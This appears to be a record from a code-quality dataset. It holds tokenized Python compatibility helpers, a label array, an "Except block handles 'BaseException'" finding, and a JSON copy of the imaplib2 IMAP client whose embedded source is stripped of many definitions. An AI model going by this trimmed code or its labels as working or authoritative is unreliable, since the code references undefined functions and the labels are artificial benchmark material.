", "exc", "[", "0", "],", " ", "exc", "[", "1", "],", " ", "exc", "[", "2", "]\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "PY", "3_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "PY", "3_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "urlparse_", "import_", "parse", "\\u", "qs", "l_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "PY", "3_", ":_", "#", " ", "pragma", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "html_", "import_", "escape_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "cgi_", "import_", "escape_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "text", "\\u_", "(_", "s_", ",_", "encoding_", "=_", "'", "latin", "-1", "'_", ",_", "errors_", "=_", "'", "strict", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "isinstance_", "(_", "s_", ",_", "bytes_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "s_", "._", "decode_", "(_", "encoding_", ",_", "errors_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "s_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "bytes", "\\u_", "(_", "s_", ",_", "encoding_", "=_", "'", "latin", "-1", "'_", ",_", "errors_", "=_", "'", "strict", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "isinstance_", "(_", "s_", ",_", "text", "\\u", "type_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "s_", "._", "encode_", "(_", "encoding_", ",_", "errors_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "s_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "nativ", "e\\u", "_", "(_", "s_", ",_", "encoding_", "=_", "'", "latin", "-1", "'_", ",_", "errors_", "=_", "'", "strict", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "isinstance_", "(_", "s_", ",_", "text", "\\u", "type_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "s_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "str_", "(_", "s_", ",_", "encoding_", ",_", "errors_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "nativ", "e\\u", "_", "(_", "s_", ",_", "encoding_", "=_", "'", "latin", "-1", "'_", ",_", "errors_", "=_", "'", "strict", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "isinstance_", "(_", "s_", ",_", "text", "\\u", "type_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "s_", "._", "encode_", "(_", "encoding_", ",_", "errors_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "str_", "(_", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "reraise", "_", "(_", "exc", "\\u", "info_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "etype_", ",_", "exc_", ",_", "tb_", "=_", "exc", "\\u", "info_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "exc_", "._", "\\u\\u", "traceback", "\\u\\u_", "is_", "not_", "tb_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exc_", "._", "with", "\\u", "traceback_", "(_", "tb_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "raise_", "exc_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "iter", "items", "\\u_", "(_", "d_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "d_", "._", "items_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "iter", "values", "\\u_", "(_", "d_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "d_", "._", "values_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "iter", "items", "\\u_", "(_", "d_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "d_", "._", "iteritems_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "iter", "values", "\\u_", "(_", "d_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "d_", "._", "itervalues_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "unquote_", "(_", "string_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "string_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "b", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "res_", "=_", "string_", "._", "split_", "(_", "b", "'%'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "len_", "(_", "res_", ")_", "!=_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "string_", "=_", "res_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "item_", "in_", "res_", "[_", "1_", ":_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "string_", "+=_", "bytes_", "(_", "[_", "int_", "(_", "item_", "[_", ":_", "2_", "]_", ",_", "16_", ")_", "]_", ")_", "+_", "item_", "[_", "2_", ":_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Value", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "string_", "+=_", "b", "'%'_", "+_", "item_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "string_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "url", "\\u", "unquote_", "(_", "s_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "unquote_", "(_", "s_", "._", "encode_", "(_", "'", "ascii", "'_", ")_", ")_", "._", "decode_", "(_", "'", "latin", "-1", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "parse", "\\u", "qs", "l\\u", "text_", "(_", "qs_", ",_", "encoding_", "=_", "'", "utf", "-", "8", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "qs_", "=_", "qs_", "._", "encode_", "(_", "'", "latin", "-1", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "qs_", "=_", "qs_", "._", "replace_", "(_", "b", "'+'_", ",_", "b", "'", " ", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pairs_", "=_", "[_", "s2_", "for_", "s1_", "in_", "qs_", "._", "split_", "(_", "b", "'&'_", ")_", "for_", "s2_", "in_", "s1_", "._", "split_", "(_", "b", "';'_", ")_", "if_", "s2_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "name", "\\u", "value_", "in_", "pairs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "nv_", "=_", "name", "\\u", "value_", "._", "split_", "(_", "b", "'='_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "len_", "(_", "nv_", ")_", "!=_", "2_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "nv_", "._", "append_", "(_", "''_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "name_", "=_", "unquote_", "(_", "nv_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "value_", "=_", "unquote_", "(_", "nv_", "[_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yield_", "(_", "name_", "._", "decode_", "(_", "encoding_", ")_", ",_", "value_", "._", "decode_", "(_", "encoding_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "parse", "\\u", "qs", "l\\u", "text_", "(_", "qs_", ",_", "encoding_", "=_", "'", "utf", "-", "8", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "qs", "l_", "=_", "parse", "\\u", "qs", "l_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "qs_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "keep", "\\u", "blank", "\\u", "values_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "strict", "\\u", "parsing_", "=_", "False_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "(_", "x_", ",_", "y_", ")_", "in_", "qs", "l_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "yield_", "(_", "x_", "._", "decode_", "(_", "encoding_", ")_", ",_", "y_", "._", "decode_", "(_", "encoding_", ")_", ")_", "\\u\\u\\uNEWLINE\\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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Except block handles 'BaseException'
OfflineIMAP/imapfw/imapfw/imap/imaplib3/imaplib2.py
[ { "content": "#!/usr/bin/env python\n\n\"\"\"Threaded IMAP4 client for Python 3.\n\nBased on RFC 3501 and original imaplib module.\n\nPublic classes: IMAP4\n IMAP4_SSL\n IMAP4_stream\n\nPublic functions: Internaldate2Time\n ParseFlags\n Time2Internaldate\n\"\"\"\n\n\n__all__ = (\"IMAP4\", \"IMAP4_SSL\", \"IMAP4_stream\",\n \"Internaldate2Time\", \"ParseFlags\", \"Time2Internaldate\")\n\n__version__ = \"3.00\"\n__release__ = \"3\"\n__revision__ = \"00\"\n__credits__ = \"\"\"\nAuthentication code contributed by Donn Cave <[email protected]> June 1998.\nString method conversion by ESR, February 2001.\nGET/SETACL contributed by Anthony Baxter <[email protected]> April 2001.\nIMAP4_SSL contributed by Tino Lange <[email protected]> March 2002.\nGET/SETQUOTA contributed by Andreas Zeidler <[email protected]> June 2002.\nPROXYAUTH contributed by Rick Holbert <[email protected]> November 2002.\nIDLE via threads suggested by Philippe Normand <[email protected]> January 2005.\nGET/SETANNOTATION contributed by Tomas Lindroos <[email protected]> June 2005.\nCOMPRESS/DEFLATE contributed by Bron Gondwana <[email protected]> May 2009.\nSTARTTLS from Jython's imaplib by Alan Kennedy.\nID contributed by Dave Baggett <[email protected]> November 2009.\nImproved untagged responses handling suggested by Dave Baggett <[email protected]> November 2009.\nImproved thread naming, and 0 read detection contributed by Grant Edwards <[email protected]> June 2010.\nImproved timeout handling contributed by Ivan Vovnenko <[email protected]> October 2010.\nTimeout handling further improved by Ethan Glasser-Camp <[email protected]> December 2010.\nTime2Internaldate() patch to match RFC2060 specification of English month names from bugs.python.org/issue11024 March 2011.\nstarttls() bug fixed with the help of Sebastian Spaeth <[email protected]> April 2011.\nThreads now set the \"daemon\" flag (suggested by offlineimap-project) April 2011.\nSingle quoting introduced with the help of Vladimir Marek <[email protected]> August 2011.\nSupport for specifying SSL version by Ryan Kavanagh <[email protected]> July 2013.\nFix for gmail \"read 0\" error provided by Jim Greenleaf <[email protected]> August 2013.\nFix for offlineimap \"indexerror: string index out of range\" bug provided by Eygene Ryabinkin <[email protected]> August 2013.\nFix for missing idle_lock in _handler() provided by Franklin Brook <[email protected]> August 2014.\nConversion to Python3 provided by F. Malina <[email protected]> February 2015.\nFix for READ-ONLY error from multiple EXAMINE/SELECT calls by Pierre-Louis Bonicoli <[email protected]> March 2015.\nFix for null strings appended to untagged responses by Pierre-Louis Bonicoli <[email protected]> March 2015.\nFix for correct byte encoding for _CRAM_MD5_AUTH taken from python3.5 imaplib.py June 2015.\nFix for correct Python 3 exception handling by Tobias Brink <[email protected]> August 2015.\nFix to allow interruptible IDLE command by Tim Peoples <[email protected]> September 2015.\nAdd support for TLS levels by Ben Boeckel <[email protected]> September 2015.\"\"\"\n__author__ = \"Piers Lauder <[email protected]>\"\n__URL__ = \"http://imaplib2.sourceforge.net\"\n__license__ = \"Python License\"\n\nimport binascii, calendar, errno, os, queue, random, re, select, socket, sys, time, threading, zlib\n\n\nselect_module = select\n\n# Globals\n\nCRLF = b'\\r\\n'\nIMAP4_PORT = 143\nIMAP4_SSL_PORT = 993\n\nIDLE_TIMEOUT_RESPONSE = b'* IDLE TIMEOUT\\r\\n'\nIDLE_TIMEOUT = 60*29 # Don't stay in IDLE state longer\nREAD_POLL_TIMEOUT = 30 # Without this timeout interrupted network connections can hang reader\nREAD_SIZE = 32768 # Consume all available in socket\n\nDFLT_DEBUG_BUF_LVL = 3 # Level above which the logging output goes directly to stderr\n\nTLS_SECURE = \"tls_secure\" # Recognised TLS levels\nTLS_NO_SSL = \"tls_no_ssl\"\nTLS_COMPAT = \"tls_compat\"\n\nAllowedVersions = ('IMAP4REV1', 'IMAP4') # Most recent first\n\n# Commands\n\nCMD_VAL_STATES = 0\nCMD_VAL_ASYNC = 1\nNONAUTH, AUTH, SELECTED, LOGOUT = 'NONAUTH', 'AUTH', 'SELECTED', 'LOGOUT'\n\nCommands = {\n # name valid states asynchronous\n 'APPEND': ((AUTH, SELECTED), False),\n 'AUTHENTICATE': ((NONAUTH,), False),\n 'CAPABILITY': ((NONAUTH, AUTH, SELECTED), True),\n 'CHECK': ((SELECTED,), True),\n 'CLOSE': ((SELECTED,), False),\n 'COMPRESS': ((AUTH,), False),\n 'COPY': ((SELECTED,), True),\n 'CREATE': ((AUTH, SELECTED), True),\n 'DELETE': ((AUTH, SELECTED), True),\n 'DELETEACL': ((AUTH, SELECTED), True),\n 'EXAMINE': ((AUTH, SELECTED), False),\n 'EXPUNGE': ((SELECTED,), True),\n 'FETCH': ((SELECTED,), True),\n 'GETACL': ((AUTH, SELECTED), True),\n 'GETANNOTATION':((AUTH, SELECTED), True),\n 'GETQUOTA': ((AUTH, SELECTED), True),\n 'GETQUOTAROOT': ((AUTH, SELECTED), True),\n 'ID': ((NONAUTH, AUTH, LOGOUT, SELECTED), True),\n 'IDLE': ((SELECTED,), False),\n 'LIST': ((AUTH, SELECTED), True),\n 'LOGIN': ((NONAUTH,), False),\n 'LOGOUT': ((NONAUTH, AUTH, LOGOUT, SELECTED), False),\n 'LSUB': ((AUTH, SELECTED), True),\n 'MYRIGHTS': ((AUTH, SELECTED), True),\n 'NAMESPACE': ((AUTH, SELECTED), True),\n 'NOOP': ((NONAUTH, AUTH, SELECTED), True),\n 'PARTIAL': ((SELECTED,), True),\n 'PROXYAUTH': ((AUTH,), False),\n 'RENAME': ((AUTH, SELECTED), True),\n 'SEARCH': ((SELECTED,), True),\n 'SELECT': ((AUTH, SELECTED), False),\n 'SETACL': ((AUTH, SELECTED), False),\n 'SETANNOTATION':((AUTH, SELECTED), True),\n 'SETQUOTA': ((AUTH, SELECTED), False),\n 'SORT': ((SELECTED,), True),\n 'STARTTLS': ((NONAUTH,), False),\n 'STATUS': ((AUTH, SELECTED), True),\n 'STORE': ((SELECTED,), True),\n 'SUBSCRIBE': ((AUTH, SELECTED), False),\n 'THREAD': ((SELECTED,), True),\n 'UID': ((SELECTED,), True),\n 'UNSUBSCRIBE': ((AUTH, SELECTED), False),\n }\n\nUID_direct = ('SEARCH', 'SORT', 'THREAD')\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nMonthNames = [None, 'Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun',\n 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec']\n\nMon2num = {s.encode():n+1 for n, s in enumerate(MonthNames[1:])}\n\nInternalDate = re.compile(br'.*INTERNALDATE \"'\n br'(?P<day>[ 0123][0-9])-(?P<mon>[A-Z][a-z][a-z])-(?P<year>[0-9][0-9][0-9][0-9])'\n br' (?P<hour>[0-9][0-9]):(?P<min>[0-9][0-9]):(?P<sec>[0-9][0-9])'\n br' (?P<zonen>[-+])(?P<zoneh>[0-9][0-9])(?P<zonem>[0-9][0-9])'\n br'\"')\n\n\n\nInternaldate2tuple = Internaldate2Time # (Backward compatible)\n\n\n\n\n\n\nFLAGS_cre = re.compile(br'.*FLAGS \\((?P<flags>[^\\)]*)\\)')\n\n\n\n\nif __name__ == '__main__':\n\n # To test: invoke either as 'python imaplib2.py [IMAP4_server_hostname]',\n # or as 'python imaplib2.py -s \"rsh IMAP4_server_hostname exec /etc/rimapd\"'\n # or as 'python imaplib2.py -l keyfile[:certfile]|: [IMAP4_SSL_server_hostname]'\n #\n # Option \"-d <level>\" turns on debugging (use \"-d 5\" for everything)\n # Option \"-i\" tests that IDLE is interruptible\n # Option \"-p <port>\" allows alternate ports\n\n if not __debug__:\n raise ValueError('Please run without -O')\n\n import getopt, getpass\n\n try:\n optlist, args = getopt.getopt(sys.argv[1:], 'd:il:s:p:')\n except getopt.error as val:\n optlist, args = (), ()\n\n debug, debug_buf_lvl, port, stream_command, keyfile, certfile, idle_intr = (None,)*7\n for opt,val in optlist:\n if opt == '-d':\n debug = int(val)\n debug_buf_lvl = debug - 1\n elif opt == '-i':\n idle_intr = 1\n elif opt == '-l':\n try:\n keyfile,certfile = val.split(':')\n except ValueError:\n keyfile,certfile = val,val\n elif opt == '-p':\n port = int(val)\n elif opt == '-s':\n stream_command = val\n if not args: args = (stream_command,)\n\n if not args: args = ('',)\n if not port: port = (keyfile is not None) and IMAP4_SSL_PORT or IMAP4_PORT\n\n host = args[0]\n\n USER = getpass.getuser()\n\n data = open(os.path.exists(\"test.data\") and \"test.data\" or __file__).read(1000)\n test_mesg = 'From: %(user)s@localhost%(lf)sSubject: IMAP4 test%(lf)s%(lf)s%(data)s' \\\n % {'user':USER, 'lf':'\\n', 'data':data}\n\n test_seq1 = [\n ('list', ('\"\"', '\"\"')),\n ('list', ('\"\"', '\"%\"')),\n ('create', ('imaplib2_test0',)),\n ('rename', ('imaplib2_test0', 'imaplib2_test1')),\n ('CREATE', ('imaplib2_test2',)),\n ('append', ('imaplib2_test2', None, None, test_mesg)),\n ('list', ('\"\"', '\"imaplib2_test%\"')),\n ('select', ('imaplib2_test2',)),\n ('search', (None, 'SUBJECT', '\"IMAP4 test\"')),\n ('fetch', ('1:*', '(FLAGS INTERNALDATE RFC822)')),\n ('store', ('1', 'FLAGS', '(\\Deleted)')),\n ('namespace', ()),\n ('expunge', ()),\n ('recent', ()),\n ('close', ()),\n ]\n\n test_seq2 = (\n ('select', ()),\n ('response', ('UIDVALIDITY',)),\n ('response', ('EXISTS',)),\n ('append', (None, None, None, test_mesg)),\n ('examine', ()),\n ('select', ()),\n ('fetch', ('1:*', '(FLAGS UID)')),\n ('examine', ()),\n ('select', ()),\n ('uid', ('SEARCH', 'SUBJECT', '\"IMAP4 test\"')),\n ('uid', ('SEARCH', 'ALL')),\n ('uid', ('THREAD', 'references', 'UTF-8', '(SEEN)')),\n ('recent', ()),\n )\n\n\n AsyncError, M = None, None\n\n\n\n try:\n threading.currentThread().setName('main')\n\n if keyfile is not None:\n if not keyfile: keyfile = None\n if not certfile: certfile = None\n M = IMAP4_SSL(host=host, port=port, keyfile=keyfile, certfile=certfile, ssl_version=\"tls1\", debug=debug, identifier='', timeout=10, debug_buf_lvl=debug_buf_lvl, tls_level=\"tls_no_ssl\")\n elif stream_command:\n M = IMAP4_stream(stream_command, debug=debug, identifier='', timeout=10, debug_buf_lvl=debug_buf_lvl)\n else:\n M = IMAP4(host=host, port=port, debug=debug, identifier='', timeout=10, debug_buf_lvl=debug_buf_lvl)\n if M.state != 'AUTH': # Login needed\n PASSWD = getpass.getpass(\"IMAP password for %s on %s: \" % (USER, host or \"localhost\"))\n test_seq1.insert(0, ('login', (USER, PASSWD)))\n M._log(0, 'PROTOCOL_VERSION = %s' % M.PROTOCOL_VERSION)\n if 'COMPRESS=DEFLATE' in M.capabilities:\n M.enable_compression()\n\n for cmd,args in test_seq1:\n run(cmd, args)\n\n for ml in run('list', ('\"\"', '\"imaplib2_test%\"'), cb=False):\n mo = re.match(br'.*\"([^\"]+)\"$', ml)\n if mo: path = mo.group(1)\n else: path = ml.split()[-1]\n run('delete', (path,))\n\n if 'ID' in M.capabilities:\n run('id', ())\n run('id', (\"(name imaplib2)\",))\n run('id', (\"version\", __version__, \"os\", os.uname()[0]))\n \n for cmd,args in test_seq2:\n if (cmd,args) != ('uid', ('SEARCH', 'SUBJECT', 'IMAP4 test')):\n run(cmd, args)\n continue\n\n dat = run(cmd, args, cb=False)\n uid = dat[-1].split()\n if not uid: continue\n run('uid', ('FETCH', uid[-1],\n '(FLAGS INTERNALDATE RFC822.SIZE RFC822.HEADER RFC822.TEXT)'))\n run('uid', ('STORE', uid[-1], 'FLAGS', '(\\Deleted)'))\n run('expunge', ())\n\n if 'IDLE' in M.capabilities:\n run('idle', (2,), cb=False)\n run('idle', (99,)) # Asynchronous, to test interruption of 'idle' by 'noop'\n time.sleep(1)\n run('noop', (), cb=False)\n\n run('append', (None, None, None, test_mesg), cb=False)\n num = run('search', (None, 'ALL'), cb=False)[0].split()[0]\n dat = run('fetch', (num, '(FLAGS INTERNALDATE RFC822)'), cb=False)\n M._mesg('fetch %s => %s' % (num, repr(dat)))\n run('idle', (2,))\n run('store', (num, '-FLAGS', '(\\Seen)'), cb=False),\n dat = run('fetch', (num, '(FLAGS INTERNALDATE RFC822)'), cb=False)\n M._mesg('fetch %s => %s' % (num, repr(dat)))\n run('uid', ('STORE', num, 'FLAGS', '(\\Deleted)'))\n run('expunge', ())\n if idle_intr:\n M._mesg('HIT CTRL-C to interrupt IDLE')\n try:\n run('idle', (99,), cb=False) # Synchronous, to test interruption of 'idle' by INTR\n except KeyboardInterrupt:\n M._mesg('Thanks!')\n M._mesg('')\n raise\n elif idle_intr:\n M._mesg('chosen server does not report IDLE capability')\n\n run('logout', (), cb=False)\n\n if debug:\n M._mesg('')\n M._print_log()\n M._mesg('')\n M._mesg('unused untagged responses in order, most recent last:')\n for typ,dat in M.pop_untagged_responses(): M._mesg('\\t%s %s' % (typ, dat))\n\n print('All tests OK.')\n\n except:\n if not idle_intr or M is None or not 'IDLE' in M.capabilities:\n print('Tests failed.')\n\n if not debug:\n print('''\nIf you would like to see debugging output,\ntry: %s -d5\n''' % sys.argv[0])\n\n raise\n", "metadata": "root", "header": "['module', 